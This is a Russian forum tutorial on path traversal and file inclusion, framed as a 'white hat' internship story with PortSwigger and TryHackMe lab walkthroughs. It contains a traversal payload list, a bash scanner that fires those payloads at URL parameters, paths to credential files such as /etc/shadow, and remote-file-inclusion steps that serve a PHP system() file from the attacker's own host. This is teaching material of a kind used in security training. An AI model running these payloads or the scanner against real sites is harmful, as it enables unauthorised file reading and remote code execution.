Дневник белой шляпы [Часть 3]: Cтажировкa [File Inclusion (Remote / Local)]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
GIF87a (Вступление)

Эта статья для всех, никаких предварительных условий, я объясню все с нуля! Для опытных людей я поделюсь своим опытом работы с большими доменными областями (scope) и автоматизацией. Для начинающих все будет объяснено с нуля.
Все мои статьи предназначены для благих целей, и я объясняю все на моделируемых лабораториях, таких как "portswigger".


Содержание
  1. История
  2. Linux (команда ls/cd)
  3. Path/Directory Traversal
  4. File Inclusion

История
Много чего произошло с тех пор, как я попытался заняться кибербезопасностью, эта история о моей первой стажировке, куда меня приняли только потому, что я проявлял уважение. Я отправил несколько электронных писем компаниям, содержащих мое резюме, и попросил о стажировке, одна из них (на самом деле лучшая на тот момент) связалась со мной. К тому времени я ничего не знал, кроме модели OSI и немного о SQLi и XSS.

На собеседовании интервьюер задавал мне вопросы, и когда я чего-то не знаю, я говорю об этом прямо, не тратя впустую время интервьюера и свое собственное. Что им понравилось. Я ответил на некоторые вопросы, но пропустил большинство из них. В какой-то момент интервьюер спросил меня: "Назовите мне тему, по которой вы хотите, чтобы я задал вам вопрос?". Хуже всего то, что я не знал, что сказать. После собеседования я почувствовал себя немного не в своей тарелке и понял, что недостаточно стараюсь. С того дня и по сегодняшний день, несмотря на то, что я не прилагаю всех усилий в своей области, я стараюсь никогда больше не сталкиваться с тем же вопросом на собеседовании. Я стараюсь всегда находить какую-нибудь тему для разговора.

В результате они позвонили мне, и я закончил там стажировку, мой наставник был лучшим. Он был не из тех людей, который сказали бы: "Ты так хорош в этой области и бла-бла-бла". Он из тех людей, который заходил в нашу комнату, видел меня спящим (в буквальном смысле) и говорил мне "Доброе утро". После того, как мы представляли нашу работу, независимо от того, что мы делaли, его словами всегда были: "Это не радует мое королевское сердце".

Мы злились, некоторые из нас даже плакали в какой-то момент. Но я до сих пор помню его слова: "Никого не волнует процесс, покажите мне результат".

Мы заставляли себя делать больше, чем могли, только для того, чтобы он перестал жаловаться, ЛОЛ.

И на этот раз я напишу о "File Inclusion", который он задал в качестве вопроса в интервью, а я не знал.

Linux (команды ls/cd)

Я не собираюсь писать об установке linux или о чем-то подобном, только об основах. ОС (операционная система) - Android / IOS / macOS / Linux - думайте об этом как о языке, на котором говорит человек. Linux - это ядро, "А НЕ ОС". Как у человека есть сердце, так и у ОС есть ядро. GNU/Linux - это операционная система. Вы можете поискать значение слова "GNU", но для вас было бы лучше спросить у кого-нибудь, а не искать его, так как вы можете запутаться.

Как говорит мой друг, "Все в Linux связано с файлами".

Команда - это действие, которое вы выполняете. Когда вы нажимаете на firefox и firefox открывается, это действие. В Linux мы используем команды вместо щелчков мыши.

Мы будем работать с терминалом Linux (ту штуку, которую вы видите в фильмах о взломе). Когда мы открываем Windows, мы видим графический пользовательский интерфейс "GUI", который позволяет нам щелкать по папкам и открывать их. Когда мы работаем с серверами Linux, мы в основном видим терминалы, которые называются интерфейсом командной строки "CLI".

Вы можете спросить, зачем нам использовать CLI, если мы можем использовать GUI? Если вы новичок, вы мне не поверите, но так удобнее (лично для меня, так как я ненавижу пользоваться мышью). Если вы хотите установить операционную систему и попробовать все это самостоятельно, я предпочитаю начинать либо с Debian, либо с Ubuntu. Если вы начнете, мои поздравления, добро пожаловать в мир "ошибок".

Пожалуйста, не забывайте, что команды Linux чувствительны к регистру. Это означает, что имеет значение, вводите ли вы его строчными или прописными буквами. Все должно быть написано так, как оно есть.

У каждой команды есть аргумент и опция. Это выглядит следующим образом: <команда> <опция> <аргумент>. Команда - это то, что вы хотите сделать (действие), опция - это дополнительная соль к этому действию (это как функция приложения) , а аргумент - это то, что вы предоставляете для выполнения действия.

Пример № 1: Вы хотите открыть папку. Ваша команда открывает папку, ваш аргумент - имя папки. Oпции нет
Пример № 2: Вы хотите открыть папку и просмотреть дату создания. Ваша команда открывает папку, ваш аргумент - имя папки, а вашa опция - кнопка, которая показывает даты создания данных внутри этой папки.
Пример № 3: Вы хотите открыть firefox в личном окне. Открытие firefox - это действие, приватные окна - это опция (это как функция приложения).

ls - означает "список / list", эта команда выводит список файлов и папок внутри папки. Это похоже на то, когда вы нажимаете на папку и видите, что находится внутри нее. Эта команда имеет множество опций, некоторые из наиболее часто используемых "-l", "-S". (Я не хочу объяснять другие, поскольку это немного выходит за рамки нашей темы.)

Изображение [1]: команда ls


Изображение [1]: команда ls

Вы должны понять то, что я написал выше, по этой картинке. Я думаю, никаких дополнительных объяснений не требуется. Если у вас есть вопросы, напишите в личку или оставьте комментарий.

cd - означает "изменить каталог / change directory" - это похоже на то, когда вы нажимаете на папки в Windows и меняете папки. Эти папки в Linux называются каталогами.

Изображение [2]: команда cd


Изображение [2]: команда cd
На рисунке 2 я изменил свой каталог на papka1, а затем я изменил свой каталог на papkavnutripapki1. Теперь, если я хочу вернуться в papka1, я должен подняться на один уровень выше (поскольку papkavnutripapki1 находится после papka1).

Это древовидная структура, я могу показать вам это на примере.

  • papka1​
    • papkavnutripapki1
Так что, если я хочу вернуться к "papka1", я должен использовать "..", кстати, это аргумент.

Изображение [3]: команда cd ..


Изображение [3]: команда cd ..
Как вы можете видеть, сейчас мы находимся внутри "papka1".

Теперь вы можете спросить меня и себя, почему ".." - это аргумент. На самом деле ".." - это имя папки, которое показывает папку выше. И это одинаково для всех папок, мы используем его как относительный путь.

Домашнее задание Linux: команда cd и ее аргументы, команда ls и ее аргументы, команда pwd, команда cat, абсолютный и относительный путь. Также было бы неплохо проверить общие каталоги Linux и важные файлы Linux.

Я не советую вам продолжать, не выполнив домашнее задание.

Path/Directory Traversal


Ладно, я не ответил на один из множества вопросов: "Почему мы вообще используем Linux?" Ну, Linux используется для развертывания (deploy) служб и их использования, некоторыми примерами являются мобильные приложения, веб-приложения, облака и многое другое.

Итак, если большинство веб-сайтов используют Linux, это означает, что у нас есть возможность выполнять определенные действия, связанные с Linux. Представьте себе язык, который был разработан на основе русского языка, некоторые слова будут такими же. Примерно такой же случай и здесь.

Прежде чем перейти к основной части, вы должны понимать, что когда мы открываем веб-сайт, открывается файл "index.html . Таким образом, это в основном означает, что независимо от того, открываете ли вы google[точка]com или google[точка]/index.html по сути, это одно и то же.

Теперь представьте, что вы открываете папку images в вашем Linux, мы бы использовали "cd images", и там будут все ваши изображения. Представьте себе веб-сайт, который открывает изображение номер 1 таким образом "xss[точка]is/?dir=images/1.jpg" . Возникает вопрос, а что, если вместо "images/1.jpg " мы пишем "index.html ", так мы постараемся открыть файл "index.html"?

Если вы ознакомились с домашним заданием, то вам, вероятно, следует знать, что мы используем команду "cat" для чтения файла. Это все равно что открыть блокнот в Windows. Что, если наш веб-сайт также использует команду "cat" для открытия и чтения изображения?

Прежде чем продолжить, давайте зададим себе вопрос: есть ли файл, который существует в каждой ОС Linux? Мы не можем с уверенностью сказать, что в каждой ОС на базе Linux есть определенный файл, но мы можем с уверенностью сказать, что у большинства из них есть файл "passwd", который находится внутри каталога "etc".Внутри /etc/passwd находится информация о пользователях. (Я предпочитаю, чтобы вы проверили этот файл, прежде чем продолжить). Есть 2 распространенных способа прочитать этот файл:

A)
  1. cd etc​
  2. cat passwd​
B)
  1. cat /etc/passwd
Результат в любом случае будет одинаковым.

Теперь давайте вернемся к нашему первому делу. У нас есть веб-сайт, который открывает изображение номер 1 вот так "xss[точка]is/?dir=images/1.jpg". Что, если мы сделаем это вместо "xss[точка]is/?dir=/etc/passwd", сработает ли это?

Технически так и должно быть, но есть некоторые вещи, которые мы должны учитывать. Давайте предположим, что когда мы открываем "xss[точка]is/?dir=images/1.jpg" это происходит: "cat images/1.jpg". Мы знаем, что "1.jpg" находится внутри каталога под названием "images", но где находится каталог "images"?

Мы этого не знаем, есть способы узнать это, но мы не собираемся говорить об этом прямо сейчас. Давайте представим, что папка "images" находится внутри "/var/www/html". В таком случаи, когда мы вводим "/etc/passwd" вместо "images/1.jpg ", какой из них откроется, "/etc/passwd" или "/var/www/html//etc/passwd"?

На самом деле оба случая допустимы, оба могут открываться в зависимости от того, как программист написал код. Я не собираюсь углубляться в тему и говорить о "безопасном кодировании", на данный момент я не на том уровне. Несмотря на то, что у меня есть очень простой CVE, связанный с этим случаем.

Чтобы не менять тему, давайте вернемся к linux, чтобы решить этот случай. В Linux, если мы используем команду "cat /etc/passwd", то она откроет и прочитает файл "/etc/passwd", но если мы используем "etc/passwd", он может открываться, а может и не открываться, в зависимости от каталога, в котором мы находимся. Если мы находимся в корневом каталоге "/", то команда "cat etc/passwd" будет работать (потому что он добавляет после "/", поскольку это корневой каталог, и результатом будет /etc /passwd) . В случае с нашим веб-сайтом, если ваш ввод добавляется после "/var/www/html/", мы не можем просто использовать "/etc/passwd" или "etc/passwd", поскольку это приведет к открытию либо "/var/www/html//etc/passwd", либо "/var/www/html/etc/passwd", которые в принципе одинаковы. Но мы можем использовать "../../../etc/passwd" в качестве входных данных =)

Вы можете спросить: "Почему все так сложно? Откуда, черт возьми '../' взялся?". На самом деле это то же самое, что и "cd .." в Linux. Представьте, что вы делаете 3 раза "cd .." внутри "/var/www/html", это приведет к возврату в "/", который является корневым каталогом. И после этого мы можем использовать команду "cat /etc/passwd". Чтобы сделать это в WEB (вебсайт) , мы должны использовать "../".

Таким образом, ваш запрос будет "xss[точка]is/?dir=../../../etc/passwd". Но что, если "images" не находятся внутри "/var/www/html"? Это может быть внутри "/var/www/html/new/" или в любом другом месте. В этом случае мы должны увеличить ".. /", технически мы можем просто использовать "../../../../../../../../../../../../../../etc/passwd" потому что независимо от того, сколько раз вы делаете "cd .." нет каталога выше корневого (до тех пор, пока вы не находитесь в тюрьме, что не является нашим случаем)

Я не стал объяснять название уязвимости в начале, потому что хотел, чтобы вы сначала поняли ее логику. Помните, мои дорогие друзья white hat (или будущие белые шляпы), всегда ищите способы предотвратить уязвимость, это для лучшего понимания точки зрения самого разработчика. Не будь таким, как я сейчас, будь таким, каким я буду в будущем.

OWASP объясняет уязвимость следующим образом:

"Атака с обходом пути / path traversal (также известная как обход каталога / directory traversal) направлена на доступ к файлам и каталогам, которые хранятся за пределами корневой папки web. Манипулируя переменными, которые ссылаются на файлы с последовательностями “точка-многоточие-косая черта (../)” и их вариациями, или используя абсолютные пути к файлам, может оказаться возможным получить доступ к произвольным файлам и каталогам, хранящимся в файловой системе, включая исходный код приложения или конфигурацию и критически важные системные файлы."https://owasp[точка]org/www-community/attacks/Path_Traversal"

Как я это понимаю: Path/Directory Traversal это уязвимость, которая позволяет нам читать файлы, которые мы не должны, манипулируя каталогом, в котором мы находимся. Как в примере выше, где мы изменили каталог с "images" на корневой "/" и смогли прочитать файл "/etc/passwd"

Если вы этого не понимаете, ничего страшного, лабораторная часть предназначена для понимания уязвимости.

Я сам гуглю информацию об уязвимости во время написания статьи, потому что, хотя я и знаю техническую часть уязвимости, но не ее теоретическую часть. Заниматься хакерством и знать, что такое хакерство, в моих глазах разные вещи. Хороший хакер должен знать обе части. Я не хакер, просто студент, который хочет стать разработчиком. Не забывайте, что термин "хакер" на самом деле означает человек, который понимает систему лучше других. Я буду действительно крутым разработчиком, который не разбирается в программировании, лол. По крайней мере, я знаю названия кофе, что является базовым требованием для того, чтобы стать разработчиком. =)

Я объясню одну простую лабораторную работу и напишу инструмент, основанный на одной из шпаргалок. Я уверен, что вы сможете самостоятельно выполнить другие лабораторные работы, поскольку они не такие сложные.

Домашнее задание Path/Directory traversal:

https://portswigger[точка]net/web-security/file-path-traversal/lab-absolute-path-bypass https://portswigger[точка]net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively https://portswigger[точка]net/web-security/file-path-traversal/lab-superfluous-url-decode https://portswigger[точка]net/web-security/file-path-traversal/lab-validate-start-of-path https://portswigger[точка]net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass (Null byte используется и в других уязвимостях)

Лаборатория № 1

URL-адрес
: https://portswigger.net/web-security/file-path-traversal/lab-simple


Изображение [4]: Главная страница лаборатории


Изображение [4]: Главная страница лаборатории

Когда мы открываем лабораторию, мы не видим ничего лишнего на главной странице, простой блог со ссылкой "Главная страница" и "Path/Directory traversal" связан с каталогами и файлами, единственными файлами, которые мы можем видеть здесь, являются изображения.

Изображение [5]: Изображение с именем 38.jpg


Изображение [5]: Изображение с именем 38.jpg​


Итак, наша ссылка такова "https://XXXXXXXXXXXX.web-security-academy[точка]net/image?filename=38.jpg".

Теперь, прежде чем продолжить, позвольте мне простыми словами объяснить вам, что такое "Content-Type". Когда мы делаем снимок, все, что мы видим, - это само изображение, но на самом деле у изображений есть "метаданные", которые являются как бы дополнительной информацией об изображении. Этой информацией может быть дата создания изображения, телефон, с помощью которого было сделано изображение, технические характеристики камеры, местоположение и т.д. Эти метаданные называются данными "exif".

То же самое происходит на веб-сайтах, когда мы открываем веб-сайт, все, что у нас есть, - это запрошенная страница, но на самом деле у веб-сайтов также есть метаданные, называемые "заголовками". Вы можете прочитать больше о заголовках онлайн, я объясню только необходимую часть. Существует 2 вида заголовков: заголовки запросов и заголовки ответов. Заголовки запросов - это метаданные, отправляемые пользователем, а заголовки ответов - это метаданные, отправляемые самим сервером к пользователю. "Content-type" - это один из заголовков, отправляемых сервером (в нашем случае, потому что мы получаем данные) , этот заголовок указывает тип данных, которые мы получаем, будь то изображение, музыка, html-файл или что-либо еще.

Изображение [6]: Проверка заголовков веб-страницы


Изображение [6]: Проверка заголовков веб-страницы​

Когда ваш браузер (например, firefox) получает заголовок "Content-type", он понимает, как следует открывать данные. Позвольте мне привести вам простой пример Windows, если мы загрузим изображение, мы откроем его через приложение под названием "Фотографии", а не через блокнот. То же самое происходит и здесь, firefox открывает изображение как картинку, а не как музыку или html-файл. В нашем случае это произошло потому, что "Content-type" равен "image/jpeg".

Таким образом, если мы откроем любой другой файл, неважно, текстовый ли это файл, html-страница или музыка в формате mp3, наш браузер попытается отобразить его как изображение из-за заголовка "Content-Type".

Теперь давайте попробуем открыть "https://XXXXXXXXXXXX.web-security-academy[точка]net/image?filename=/etc/passwd".

Изображение [7]: Проверка файла /etc/passwd


Изображение [7]: Проверка файла "/etc/passwd"​

Это не сработало, теперь давайте напишем "../", скажем, 10 раз и проверим. Мы делаем это, потому что не знаем, в каком каталоге мы находимся. И не имеет значения, сколько раз мы выполняем "cd..", поскольку нет каталога выше корневого каталога "/". Итак, мы попытаемся открыть "https://XXXXXXXXXXXX.web-security-academy[точка]net/image?filename=../../../../../../../../../../etc/passwd".

1692721346325.png


Изображение [8]: Проверка файла "/etc/passwd"​

Мы видим результат, и в нем говорится, что изображение содержит ошибки, это потому, что '/etc/passwd' не является изображением, а заголовок "Content-Type" имеет значение "image/jpeg". В этом случае мы можем либо отправить запрос с помощью "curl" / "wget", либо мы можем просто "CTRL+S" получить ответ из firefox и открыть сохраненный файл в блокноте. Я сделаю первое действие.

Изображение [9]: Получение данных


Изображение [9]: Получение данных​

Мы решили нашу простую лабораторную работу, теперь пришло время для инструмента, основанного на шпаргалке. Я всегда предпочитаю использовать "hacktricks", поскольку владелец использует большинство возможных техник, даже по темам, которые не так часто используются.

Ссылка на hacktricks: https://book.hacktricks[точка]xyz/pentesting-web/file-inclusion.

Давайте составим список методов, используемых там.
../../../etc/passwd /etc/passwd ./etc/passwd ../../../../../../../../../../../../../../../../../../../etc/passwd ....//....//....//etc/passwd ....\/....\/....\/etc/passwd %5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ../../../etc/passwd%00 ..%252f..%252f..%252fetc%252fpasswd ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd %252e%252e%252fetc%252fpasswd %252e%252e%252fetc%252fpasswd%00 a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. a/../../../../../../../../../etc/passwd/./././././././././././././././././././. a/./././././././././././././././etc/passwd a/../../../../../../../../../../../../../../../../etc/passwd ....//....//etc/passwd ..///////..////..//////etc/passwd /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd /var/www/../../etc/passwd PhP://filter

Давайте подумаем, что должен делать ваш код. Он должен удалить значение каждого параметра в URL, заменить его полезной нагрузкой и проверить наличие слова "root", потому что в каждой системе Linux должен быть по крайней мере один пользователь root.

Bash: Скопировать в буфер обмена
Код:
#!/bin/bash

url=$1

replacement_values=(
    "../../../etc/passwd"
    "/etc/passwd"
    "./etc/passwd"
    "../../../../../../../../../../../../../../../../../../../etc/passwd"
    "....//....//....//etc/passwd"
    "....\\/....\\/....\\//etc/passwd"
    "%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
    "../../../etc/passwd%00"
    "..%252f..%252f..%252fetc%252fpasswd"
    "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
    "%252e%252e%252fetc%252fpasswd"
    "%252e%252e%252fetc%252fpasswd%00"
    "a/../../../../../../../../../etc/passwd..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\.."
    "a/../../../../../../../../../etc/passwd/./././././././././././././././././././."
    "a/./././././././././././././././etc/passwd"
    "a/../../../../../../../../../../../../../../../../etc/passwd"
    "....//....//etc/passwd"
    "..///////..////..//////etc/passwd"
    "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
    "/var/www/../../etc/passwd"
    "PhP://filter"
)

for value in "${replacement_values[@]}"; do
    modified_url="${url%=*}=$value"
    echo "Sending request to: $modified_url"

    response=$(curl -s "$modified_url")

    if echo "$response" | grep -q "root"; then
        echo "Success: 'root' found in the response."
    else
        echo "Failure: 'root' not found in the response."
    fi

    echo "---------------------------------------"
done

В этом коде рассмотрено большинство случаев.

Части, которые я рассматривал:
1. На самом деле ничего

Детали, которые я не рассматривал:
1. Несколько параметров в url-адресе
2. Threading
3. Веб-страницы, уже содержащие слово "root" (может привести к false positive)

Вы можете спросить меня, зачем я делюсь этим, если этот сценарий настолько плох. По двум причинам. Во-первых, чтобы вы это исправили. Во-вторых, я уверен, что даже в этом случае этот скрипт будет полезен для доменов с большими областями (scope) (как указано в начале этой статьи).

Если вы хотите, чтобы мы с ChatGPT написали нормальный код, просто оставляйте комментарии, и я рассмотрю возможность написания многофункционального инструмента на Go или Python.

File Inclusion


На этот раз вместо того, чтобы начинать с практической части, как я делал раньше, мы начнем с теоретической части, потому что эти 2 уязвимости на самом деле очень похожи.

File Inclusion - это уязвимость, которая позволяет злоумышленнику "включить" файл. Термин в "include" взят из функции PHP.

PHP: Скопировать в буфер обмена
<?php include($_GET['file'].".php"); ?>

File Inclusion делится на 2 части, локальную и удаленную. Local File Inclusion (LFI) позволяет злоумышленнику прочитать и запустить файл, который хранится на самом локальном сервере (это может быть сервер веб-сайта). Remote File Inclusion (RFI) позволяет злоумышленнику запустить "файл" (содержащий вредоносные команды), который хранится на удаленном сервере (это может быть сервер злоумышленника).

Некоторые расположения файлов Linux / Windows / macOS для LFI:

Linux:
/etc/issue /proc/version /etc/profile /etc/passwd /etc/shadow /root/.bash_history /var/log/dmessage /var/mail/root /var/spool/cron/crontabs/root

Windows:
%SYSTEMROOT%repairsystem %SYSTEMROOT%repairSAM %WINDIR%win.ini %SYSTEMDRIVE%boot.ini %WINDIR%Panthersysprep.inf %WINDIR%system32configAppEvent.Evt

MacOS:
/etc/fstab /etc/master.passwd /etc/resolv.conf /etc/sudoers /etc/sysctl.conf

Вы можете спросить меня, в чем разница между Path/Directory Traversal и LFI? В LFI у вас может быть возможность запустить файл, в то время как в Path/Directory Traversal этого нет.

Я не собираюсь говорить о LFI, поскольку методы такие же, как и у Path/Directory Traversal.

Вместо этого давайте сосредоточимся на RFI. Поскольку по этому поводу не так много лабораторий, мы проверим лабораторию на TryHackMe. Вы можете спросить себя: "Если нет большого количества лабораторий, связанных с этим, как мы можем это обнаружить?".

Я задал этот вопрос самому себе, и мне пришли на ум 2 непроверенных метода.

1. Найдите Path/Directory Traversal и попробуйте RFI там
2. Напишите скрипт, который будет работать совместно с interactsh и проверять, получаете ли вы запрос или нет. Если вы получите запрос от сервера, запустите свой собственный сервер с вредоносным кодом внутри файла, написанного на языке, на котором написано веб-приложение.

Я не тестировал ни один из методов, потому что RFI - редкая уязвимость, но я уверен, что эти методы могут работать, основываясь на моих технических знаниях.

Лаборатория № 2

URL-адрес:
https://tryhackme[точка]com/room/fileinc

Изображение [10]: Главная страница


Изображение [10]: Главная страница​

Простой веб-сайт с кнопкой "include"

Изображение [11]: Написание xss
Изображение [11]: Написание "xss"

Я не разработчик, но PHP-код не так уж сложен для понимания и анализа, все, что вам нужно, - это знание английского и Google. Я открою сервер python с образцом PHP-кода. Например: <?php system("ls"); ?> - этот код будет делать "ls", как мы делали в Linux

Сначала мы должны создать файл, содержащий наш код. Откройте терминал и напишите: echo '<?php system("ls"); ?>' > hack.php
Теперь нам нужно запустить сервер python, мы можем сделать это с помощью этого кода: python3 -m http.server 1337 - 1337 это порт нашего веб-сервера
Теперь мы можем отправить запрос http://xss[точка]lab/playground.php?file=http://X.X.X.X:1337/hack.php и он запустит файл "hack.php" (замените X.X.X.X на локальный IP-адрес attackbox или openvpn)

Изображение [12]: Решение лабораторной задачи


Изображение [12]: Решение лабораторной задачи​

Как вы видите, наш файл был запущен, a файлы и папки были перечислены (благодаря команде "ls").

Интересный случай

Технически возможно войти в систему через SSH, используя passphrase с уязвимостью "LFI". Чтобы это произошло, целевой сервер должен выполнить следующие инструкции: https://www.strongdm[точка]com/blog/ssh-passwordless-login В домашнем задании, которое я разместил ниже, есть файлы, необходимые для выполнения этого действия. Сам я этого не делал, но об этом была статья. К сожалению, я не смог его найти, если вы нашли его, не стесняйтесь оставлять комментарии.

Домашнее задание:
https://tryhackme[точка]com/room/fileinc https://owasp[точка]org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_Inclusion https://book[точка]hacktricks.xyz/pentesting-web/file-inclusion https://chryzsh.gitbooks[точка]io/pentestbook/content/local_file_inclusion.html https://chryzsh.gitbooks[точка]io/pentestbook/content/remote_file_inclusion.html

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу